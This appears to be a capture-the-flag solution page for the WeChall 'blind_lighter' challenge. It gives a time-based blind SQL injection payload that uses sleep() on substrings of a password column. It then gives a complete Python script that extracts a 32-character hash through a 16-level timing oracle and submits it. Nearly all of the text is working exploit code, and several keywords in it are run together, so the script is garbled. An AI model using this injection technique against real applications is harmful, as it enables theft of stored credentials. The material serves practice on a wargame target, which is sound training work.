' or ''='' and ( if(substr(password,1,1)='a', sleep(1.2), 1) and if(substr(password,1,1)='b', sleep(2.4), 1) and ... if(substr(password,1,1)='9', sleep(19.2), 1) )-- -
#!/usr/bin/env python3 """16-level sleep, STEP=1.2, 0.5s delay between requests."""
import requests import re import time import sys from requests.adapters import HTTPAdapter
# 替换为你的 WeChall session cookie C = {'WC': '<your_wechall_cookie>'} U = 'https://www.wechall.net/challenge/blind_lighter/index.php' M = ' abcdef0123456789' S = 1.2# Faster than 1.5, more reliable than 1.0
s = requests.Session() s.headers.update({'User-Agent': 'Mozilla/5.0'}) s.cookies.update(C) s.mount('https://', HTTPAdapter(1, 1, 1))
defpt(b): """Extract PHP Time value from response body.""" m = re.search(r'PHP Time:\s*([\d.]+)s', b) returnfloat(m.group(1)) if m elseNone
defex(pos): """Extract single character at position <pos> using 16-level sleep oracle.""" conds = [ f"if(substr(password,{pos},1)='{M[i]}', sleep({i * S}), 1)" for i inrange(1, 17) ] pl = "' or ''='' and (" + ' and '.join(conds) + ')-- -' t = pt(post({'injection': pl, 'inject': 'Inject'}, 60)) if t isNone: return'?' i = round(t / S) if1 <= i <= 16: return M[i] # Rounding edge case: try ±1 for o in [-1, 1]: if1 <= i + o <= 16: return M[i + o] return'?'
defrd(rn): """Run one round: extract 32-char hash and submit.""" h = '' t0 = time.time() for pos inrange(1, 33): h += ex(pos) if pos % 8 == 0or pos == 32: print(f' R{rn} [{pos}/32] {h} ({time.time() - t0:.0f}s)') sys.stdout.flush() time.sleep(0.5) # Rate limit avoidance t = time.time() - t0 body = post({'thehash': h, 'mybutton': 'Enter'}, 60) if'Your answer is correct'in body: print(f' R{rn} SOLVED!({t:.0f}s)') return's' elif'Wow'in body: print(f' R{rn} OK({t:.0f}s)') return'c' print(f' R{rn} BAD({t:.0f}s) h={h}') return'x'
get(U + '?reset=me') time.sleep(1)
for rn inrange(1, 4): print(f'=== R{rn} ===') sys.stdout.flush() r = rd(rn) if r == 's': print('\nSOLVED!') sys.exit(0) if r == 'x': sys.exit(1) if rn < 3: print(' [cool 10s]') sys.stdout.flush() time.sleep(10)
print('Done.')
+++
SYSTEM STATUS: ACTIVEENCRYPTED SECTOR 7PRTS_TERMINAL_V2.0PROTOCOL: 0x2AENCRYPTED DATA STREAMSYSTEM: ONLINE